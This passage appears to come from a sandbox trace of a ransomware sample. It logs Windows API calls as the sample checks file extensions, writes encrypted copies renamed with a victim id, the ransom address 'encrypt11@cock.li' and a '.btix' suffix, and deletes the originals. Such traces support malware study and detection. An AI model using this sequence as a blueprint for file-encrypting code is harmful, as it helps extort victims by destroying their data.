(lpString=".zip") returned 4 [0043.247] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.247] lstrlenW (lpString=".rar") returned 4 [0043.247] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.247] lstrlenW (lpString=".bz2") returned 4 [0043.247] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.247] lstrlenW (lpString=".7z") returned 3 [0043.247] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0043.247] lstrlenW (lpString=".dbf") returned 4 [0043.247] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0043.247] lstrlenW (lpString=".1cd") returned 4 [0043.247] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0043.248] lstrlenW (lpString=".jpg") returned 4 [0043.248] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0043.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0043.248] lstrlenW (lpString=".doc") returned 4 [0043.248] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.248] lstrlenW (lpString=".docx") returned 5 [0043.248] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.248] lstrlenW (lpString=".pdf") returned 4 [0043.248] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.248] lstrlenW (lpString=".xls") returned 4 [0043.248] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.248] lstrlenW (lpString=".xlsx") returned 5 [0043.248] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.248] lstrlenW (lpString=".ppt") returned 4 [0043.248] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0043.248] lstrlenW (lpString=".zip") returned 4 [0043.248] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.248] lstrlenW (lpString=".rar") returned 4 [0043.248] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.248] lstrlenW (lpString=".bz2") returned 4 [0043.248] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.248] lstrlenW (lpString=".7z") returned 3 [0043.248] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0043.249] lstrlenW (lpString=".dbf") returned 4 [0043.249] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0043.249] lstrlenW (lpString=".1cd") returned 4 [0043.249] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0043.249] lstrlenW (lpString=".jpg") returned 4 [0043.249] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.249] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0043.249] lstrlenW (lpString="eula.rtf") returned 8 [0043.249] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0043.249] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=4254) returned 1 [0043.249] CloseHandle (hObject=0x2d8) returned 1 [0043.249] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80 [0043.249] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.249] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0043.249] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0043.250] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0043.250] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0043.250] GetLastError () returned 0x0 [0043.250] ReadFile (in: hFile=0x2d8, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x109e, lpOverlapped=0x0) returned 1 [0043.277] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x10a0, lpOverlapped=0x0) returned 1 [0043.278] ReadFile (in: hFile=0x2d8, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0043.278] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xe4, lpOverlapped=0x0) returned 1 [0043.278] SetEndOfFile (hFile=0x32c) returned 1 [0043.278] CloseHandle (hObject=0x32c) returned 1 [0043.279] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0043.279] SetEndOfFile (hFile=0x2d8) returned 1 [0043.279] CloseHandle (hObject=0x2d8) returned 1 [0043.279] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.280] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1 [0043.280] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0043.280] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0043.280] lstrlenW (lpString=".doc") returned 4 [0043.280] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.280] lstrlenW (lpString=".docx") returned 5 [0043.280] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.280] lstrlenW (lpString=".pdf") returned 4 [0043.280] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.280] lstrlenW (lpString=".xls") returned 4 [0043.280] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.280] lstrlenW (lpString=".xlsx") returned 5 [0043.280] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.280] lstrlenW (lpString=".ppt") returned 4 [0043.280] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.280] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0043.280] lstrlenW (lpString=".zip") returned 4 [0043.280] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.280] lstrlenW (lpString=".rar") returned 4 [0043.281] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.281] lstrlenW (lpString=".bz2") returned 4 [0043.281] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.281] lstrlenW (lpString=".7z") returned 3 [0043.281] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0043.281] lstrlenW (lpString=".dbf") returned 4 [0043.281] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0043.281] lstrlenW (lpString=".1cd") returned 4 [0043.281] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0043.281] lstrlenW (lpString=".jpg") returned 4 [0043.281] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0043.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0043.281] lstrlenW (lpString=".doc") returned 4 [0043.281] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.281] lstrlenW (lpString=".docx") returned 5 [0043.281] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.281] lstrlenW (lpString=".pdf") returned 4 [0043.281] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.281] lstrlenW (lpString=".xls") returned 4 [0043.281] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.281] lstrlenW (lpString=".xlsx") returned 5 [0043.281] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.281] lstrlenW (lpString=".ppt") returned 4 [0043.281] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0043.281] lstrlenW (lpString=".zip") returned 4 [0043.281] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.281] lstrlenW (lpString=".rar") returned 4 [0043.281] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.281] lstrlenW (lpString=".bz2") returned 4 [0043.282] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.282] lstrlenW (lpString=".7z") returned 3 [0043.282] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.282] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0043.282] lstrlenW (lpString=".dbf") returned 4 [0043.282] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.282] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0043.282] lstrlenW (lpString=".1cd") returned 4 [0043.282] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.282] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0043.282] lstrlenW (lpString=".jpg") returned 4 [0043.282] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.282] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0043.282] lstrlenW (lpString="LocalizedData.xml") returned 17 [0043.282] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0043.337] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=80060) returned 1 [0043.337] CloseHandle (hObject=0x364) returned 1 [0043.337] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80 [0043.337] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.347] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0043.347] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0043.347] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0043.347] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0043.355] GetLastError () returned 0x0 [0043.355] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x138bc, lpOverlapped=0x0) returned 1 [0043.596] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x138c0, lpOverlapped=0x0) returned 1 [0043.598] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0043.598] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xf6, lpOverlapped=0x0) returned 1 [0043.598] SetEndOfFile (hFile=0x318) returned 1 [0043.598] CloseHandle (hObject=0x318) returned 1 [0043.600] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0043.600] SetEndOfFile (hFile=0x364) returned 1 [0043.601] CloseHandle (hObject=0x364) returned 1 [0043.601] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.601] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1 [0043.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0043.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0043.602] lstrlenW (lpString=".doc") returned 4 [0043.602] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.602] lstrlenW (lpString=".docx") returned 5 [0043.602] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.602] lstrlenW (lpString=".pdf") returned 4 [0043.602] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.602] lstrlenW (lpString=".xls") returned 4 [0043.602] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.602] lstrlenW (lpString=".xlsx") returned 5 [0043.602] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.602] lstrlenW (lpString=".ppt") returned 4 [0043.602] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0043.602] lstrlenW (lpString=".zip") returned 4 [0043.602] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.602] lstrlenW (lpString=".rar") returned 4 [0043.602] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.602] lstrlenW (lpString=".bz2") returned 4 [0043.602] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.602] lstrlenW (lpString=".7z") returned 3 [0043.602] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0043.602] lstrlenW (lpString=".dbf") returned 4 [0043.602] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0043.602] lstrlenW (lpString=".1cd") returned 4 [0043.602] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0043.603] lstrlenW (lpString=".jpg") returned 4 [0043.603] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0043.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0043.603] lstrlenW (lpString=".doc") returned 4 [0043.603] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.603] lstrlenW (lpString=".docx") returned 5 [0043.603] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.603] lstrlenW (lpString=".pdf") returned 4 [0043.603] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.603] lstrlenW (lpString=".xls") returned 4 [0043.603] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.603] lstrlenW (lpString=".xlsx") returned 5 [0043.603] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.603] lstrlenW (lpString=".ppt") returned 4 [0043.603] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0043.603] lstrlenW (lpString=".zip") returned 4 [0043.603] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.603] lstrlenW (lpString=".rar") returned 4 [0043.603] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.603] lstrlenW (lpString=".bz2") returned 4 [0043.603] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.603] lstrlenW (lpString=".7z") returned 3 [0043.603] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0043.603] lstrlenW (lpString=".dbf") returned 4 [0043.603] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0043.603] lstrlenW (lpString=".1cd") returned 4 [0043.603] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0043.603] lstrlenW (lpString=".jpg") returned 4 [0043.604] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.604] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0043.604] lstrlenW (lpString="LocalizedData.xml") returned 17 [0043.604] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0043.604] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=79634) returned 1 [0043.604] CloseHandle (hObject=0x364) returned 1 [0043.604] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80 [0043.604] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.604] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0043.604] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0043.605] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0043.605] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0043.605] GetLastError () returned 0x0 [0043.605] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x13712, lpOverlapped=0x0) returned 1 [0043.646] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x13720, lpOverlapped=0x0) returned 1 [0043.647] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0043.647] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xf6, lpOverlapped=0x0) returned 1 [0043.647] SetEndOfFile (hFile=0x318) returned 1 [0043.647] CloseHandle (hObject=0x318) returned 1 [0043.649] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0043.649] SetEndOfFile (hFile=0x364) returned 1 [0043.650] CloseHandle (hObject=0x364) returned 1 [0043.650] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.651] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1 [0043.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0043.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0043.651] lstrlenW (lpString=".doc") returned 4 [0043.651] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.651] lstrlenW (lpString=".docx") returned 5 [0043.651] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.651] lstrlenW (lpString=".pdf") returned 4 [0043.651] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.651] lstrlenW (lpString=".xls") returned 4 [0043.651] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.651] lstrlenW (lpString=".xlsx") returned 5 [0043.651] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.651] lstrlenW (lpString=".ppt") returned 4 [0043.651] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0043.651] lstrlenW (lpString=".zip") returned 4 [0043.651] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.651] lstrlenW (lpString=".rar") returned 4 [0043.651] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.651] lstrlenW (lpString=".bz2") returned 4 [0043.651] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.651] lstrlenW (lpString=".7z") returned 3 [0043.651] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0043.651] lstrlenW (lpString=".dbf") returned 4 [0043.652] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.652] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0043.652] lstrlenW (lpString=".1cd") returned 4 [0043.652] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.652] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0043.652] lstrlenW (lpString=".jpg") returned 4 [0043.652] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.652] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0043.652] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0043.652] lstrlenW (lpString=".doc") returned 4 [0043.652] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.652] lstrlenW (lpString=".docx") returned 5 [0043.652] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.652] lstrlenW (lpString=".pdf") returned 4 [0043.652] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.652] lstrlenW (lpString=".xls") returned 4 [0043.652] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.652] lstrlenW (lpString=".xlsx") returned 5 [0043.652] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.652] lstrlenW (lpString=".ppt") returned 4 [0043.652] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.652] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0043.652] lstrlenW (lpString=".zip") returned 4 [0043.652] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.652] lstrlenW (lpString=".rar") returned 4 [0043.652] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.652] lstrlenW (lpString=".bz2") returned 4 [0043.652] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.652] lstrlenW (lpString=".7z") returned 3 [0043.652] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.652] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0043.652] lstrlenW (lpString=".dbf") returned 4 [0043.652] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.652] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0043.652] lstrlenW (lpString=".1cd") returned 4 [0043.652] 